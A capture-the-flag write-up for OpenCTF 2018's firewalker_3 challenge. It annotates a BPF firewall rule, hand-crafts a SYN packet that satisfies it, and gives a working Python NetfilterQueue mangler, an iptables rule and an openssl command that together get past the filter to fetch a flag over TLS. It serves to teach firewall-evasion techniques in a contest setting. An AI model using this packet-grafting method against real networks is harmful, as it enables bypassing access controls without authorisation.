OpenCTF 2018 firewalker_3 writeup It is assumed that you have read the firewalker_2 writeup, and much of the introductory material will be skipped. Please go back and refer to it if something doesn't make sense. ######################################## Challenge Definition We were initially provided with the following challenge definition: Flag: https://server:27302/flag-192ce834.txt Firewall rules were provided in a tar file similar to firewalker_2: https://server/firewalker_3-f4856abd8e3ec03140c9ecdecf0a5c4ee2ebeb01 Chain PORT_27302 (1 references) target prot opt source destination RETURN all -- anywhere anywhere match bpf 0 0 0 0,48 0 0 8,37 52 0 195,37 0 51 160,48 0 0 0,84 0 0 15,21 0 48 5,48 0 0 9,21 0 46 6,40 0 0 6,69 44 0 8191,177 0 0 0,72 0 0 22,21 0 41 1423,72 0 0 14,21 0 39 8192,80 0 0 12,116 0 0 4,21 0 36 11,80 0 0 20,21 0 34 2,80 0 0 24,21 0 32 1,80 0 0 25,21 0 30 3,80 0 0 28,21 0 28 1,80 0 0 29,21 0 26 1,80 0 0 30,21 0 24 8,80 0 0 40,21 0 22 4,48 0 0 6,69 0 20 64,69 19 0 128,64 0 0 32,21 0 17 0,40 0 0 2,2 0 0 5,48 0 0 0,84 0 0 15,36 0 0 4,7 0 0 0,96 0 0 5,28 0 0 0,2 0 0 9,177 0 0 0,80 0 0 12,116 0 0 4,36 0 0 4,7 0 0 0,96 0 0 9,29 0 1 0,6 0 0 65536,6 0 0 0 REJECT all -- anywhere anywhere reject-with icmp-admin-prohibited This challenge is similar to firewalker_2, but is greatly complicated by the fact that the flag file is behind TLS. ######################################## Annotated PBF Assembly Code Disassemble the BPF bytecode and interpret it as before. Note that this BPF is easier to read, but the packet is more complex. #Zero A register l0: ld #0 # Drop the packet unless 160 <= TTL <= 195 #load the ttl into a l1: ldb [8] #drop the packet if TTL > 195 l2: jgt #0xc3, l55, l3 #Drop the packet if TTL < 160 l3: jgt #0xa0, l4, l55 #drop the packet if there are IP options l4: ldb [0] l5: and #0xf l6: jeq #0x5, l7, l55 #drop the packet if not TCP l7: ldb [9] l8: jeq #0x6, l9, l55 #drop the packet if it's fragmented l9: ldh [6] l10: jset #0x1fff, l55, l11 # Let X = 20, so it functions as a pointer into the TCP header l11: ldxb 4*([0]&0xf) #Drop the packet unless the 3rd and 4th option bytes are 1423 #this is the MSS if MSS is the first option. l12: ldh [x+22] l13: jeq #0x58f, l14, l55 ### this hex number has been changed #drop the packet unless window size = 8k l14: ldh [x+14] l15: jeq #0x2000, l16, l55 #drop the packet unless it has 24 bytes of options #(aka 44 total bytes of TCP header) l16: ldb [x+12] l17: rsh #4 l18: jeq #0xb, l19, l55 #drop the packet unless the first option is MSS l19: ldb [x+20] l20: jeq #0x2, l21, l55 #drop the packet unless the second option is a NOP l21: ldb [x+24] l22: jeq #0x1, l23, l55 #drop the packet unless the third option is window scale l23: ldb [x+25] l24: jeq #0x3, l25, l55 #drop the packet unless the fourth and fifth options are NOP l25: ldb [x+28] l26: jeq #0x1, l27, l55 l27: ldb [x+29] l28: jeq #0x1, l29, l55 #drop the packet unless the sixth option is timestamp l29: ldb [x+30] l30: jeq #0x8, l31, l55 #drop the packet unless the seventh option is sack l31: ldb [x+40] l32: jeq #0x4, l33, l55 # Test the IP flags #Require "don't fragment" #drop the packet if the reserved IP flag bit is set (it won't be) l33: ldb [6] l34: jset #0x40, l35, l55 l35: jset #0x80, l55, l36 #drop the packet unless the second byte of the timestamp is zero l36: ld [x+32] l37: jeq #0, l38, l55 #Store the total length into M[5] l38: ldh [2] l39: st M[5] #X=A=20, the length of the IP header. This is redundant. l40: ldb [0] l41: and #0xf l42: mul #4 l43: tax #store the size of the IP payload into M[9] l44: ld M[5] l45: sub x l46: st M[9] #X=20. This is redundant. l47: ldxb 4*([0]&0xf) #X = 44 (00101100) l48: ldb [x+12] l49: rsh #4 l50: mul #4 l51: tax #pass the packet if the IP payload is 44 bytes long l52: ld M[9] l53: jeq x, l54, l55 l54: ret #0x10000 l55: ret #0 ######################################## Building an Acceptable Packet To ensure we understand the firewall rule, first build an example packet and prove that it passes. Working from a diagram of the IP and TCP headers, we write out a packet in hexadecimal. The packet requirements are as follows: 160<=TTL<=195 (note: as received by the server. Check the hops with traceroute) No IP options Do Not Fragment bit set, and no fragments Window size = 8k First TCP option is MSS = 1423 Second TCP option is NOP Third TCP option is Window Scale Fourth and Fifth TCP options are NOP Sixth TCP option is Timestamp with second byte = zero Seventh TCP option is SACK TCP header length = 44, which implies 8th option is NOP Valid IP and TCP checksums Some fields can be set to any desired value: source port, initial sequence number, other timestamp fields. For ease, we set most optional parameters to zero or one as appropriate. The fields are aligned with the IP and TCP header diagrams on Wikipedia. # IP header 45 00 00 40 00 01 40 00 C2 06 AA E8 8E 5D 4D 13 12 90 1F CE # TCP header 00 01 6A A6 00 00 00 01 00 00 00 00 B0 02 20 00 9D AE 00 00 02 04 05 8F 01 03 03 02 01 01 08 0A 00 00 00 00 00 00 00 00 04 02 01 00 ######################################## Testing the Packet You can use the bpf_dbg tool during packet development to debug any problems with your packet. First, build your packet: xxd -r -p packet.hex > packet.rawdata Next, build an IP-only pcap of the packet. Otherwise the packet offsets in the BPF code will all be wrong because of 14 bytes of Ethernet headers: tcpdump -lni lo -w /tmp/packet.pcap tcp and port 27302 sendip -f packet.rawdata localhost editcap -C14 -T rawip -F pcap /tmp/packet.pcap /tmp/packet-ip.pcap Finally, load the packet and code into bpf_dbg and debug: load bpf 56,0 0 0 0,48 0 0 8,37 52 0 195,37 0 51 160,48 0 0 0,84 0 0 15,21 0 48 5,48 0 0 9,21 0 46 6,40 0 0 6,69 44 0 8191,177 0 0 0,72 0 0 22,21 0 41 1423,72 0 0 14,21 0 39 8192,80 0 0 12,116 0 0 4,21 0 36 11,80 0 0 20,21 0 34 2,80 0 0 24,21 0 32 1,80 0 0 25,21 0 30 3,80 0 0 28,21 0 28 1,80 0 0 29,21 0 26 1,80 0 0 30,21 0 24 8,80 0 0 40,21 0 22 4,48 0 0 6,69 0 20 64,69 19 0 128,64 0 0 32,21 0 17 0,40 0 0 2,2 0 0 5,48 0 0 0,84 0 0 15,36 0 0 4,7 0 0 0,96 0 0 5,28 0 0 0,2 0 0 9,177 0 0 0,80 0 0 12,116 0 0 4,36 0 0 4,7 0 0 0,96 0 0 9,29 0 1 0,6 0 0 65536,6 0 0 0 load pcap /tmp/packet-ip.pcap run Once you have written a packet that passes the bpf_dbg test, you can test it on the real server using sendip: sendip -f packet.rawdata serverIP Use a packet sniffer to ensure you get a syn-ack in response to your test packet. ######################################## Packet Grafting Now that we have prove that we can write a packet acceptable to the challenge firewall rule, we must figure out a way to begin a TLS session with such a packet. One obvious choice is to write a program using raw sockets and a TLS library, send a crafted initial SYN packet, and then negotiate TLS. That seemed too technically challenging. We opted to use the OpenSSL client binary, grafting a special SYN packet onto the session using IPTABLES and libnetfilter-queue. First, the following IPTABLES rule diverts all outgoing port 27302 SYN packets to a userspace program listening on queue 1: iptables -I OUTPUT 1 -m tcp --syn -p tcp --dport 27302 -j NFQUEUE --queue-num 1 Next, write and debug a libnetfilter-queue program to mangle the packet appropriately. We chose to use the python module NetfilterQueue and base my program on the example from its documentation. To get started on a debian-base system: apt install libnetfilter-queue-dev python-pip pip install NetfilterQueue Launch a packet sniffer and your packet mangler, then use the following command to attempt to retrieve the flag. If you don't get the flag, the sniffer output will guide you toward what you've done wrong: ( echo -e "GET /flag-192ce834.txt HTTP/1.0\r\n\r\n" && sleep 2 ) | openssl s_client -connect ip:27302 ######################################## Python Packet Mangler Here's the packet mangler we wrote, based on the NetfilterQueue example code: #! /usr/bin/env python2 from netfilterqueue import NetfilterQueue #specialPacket = "\x45\x00\x00\x40\x00\x01\x40\x00\xC2\x06\xAA\xE8\x8E\x5D\x4D\x13\x12\x90\x1F\xCE\x00\x01\x6A\xA6\x00\x00\x00\x01\x00\x00\x00\x00\xB0\x02\x20\x00\x9D\xAE\x00\x00\x02\x04\x05\x8F\x01\x03\x03\x02\x01\x01\x08\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x01\x00" # Here's our packet parts specialIP = "\x45\x00\x00\x40\x00\x01\x40\x00\xC2\x06\xAA\xE8\x8E\x5D\x4D\x13\x12\x90\x1F\xCE" #\x00\x01 # source port destPort="\x6A\xA6" #\x00\x00\x00\x01 # ISN specialTCP1 = "\x00\x00\x00\x00\xB0\x02\x20\x00" #\x9D\xAE # checksum specialTCP2="\x00\x00\x02\x04\x05\x8F\x01\x03\x03\x02\x01\x01\x08\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x01\x00" def print_and_accept(pkt): orig=pkt.get_payload() #0x2624D is the partial checksum of the static packet parts checksum=0x2624D+(ord(orig[20])<<8)+ord(orig[21])+(ord(orig[24])<<8)+ord(orig[25])+(ord(orig[26])<<8)+ord(orig[27]) #do the one's complement checksum=(checksum&0xFFFF)+(checksum>>16) checksum+=(checksum>>16) checksum=~checksum&0xFFFF #get it as characters check1=chr(checksum>>8) check2=chr(checksum&0xFF) # replace the packet with the special packet # but preserve the source port and ISN, and new calculated TCP checksum pkt.set_payload(specialIP+orig[20]+orig[21]+destPort+orig[24]+orig[25]+orig[26]+orig[27]+specialTCP1+check1+check2+specialTCP2) print(pkt) pkt.accept() nfqueue = NetfilterQueue() nfqueue.bind(1, print_and_accept) try: nfqueue.run() except KeyboardInterrupt: print('') nfqueue.unbind() ######################################## Exploitation Once the packet mangling code is correct, retrieve the flag using the same command as above: ( echo -e "GET /flag-192ce834.txt HTTP/1.0\r\n\r\n" && sleep 2 ) | openssl s_client -connect ip:27302 Collect points.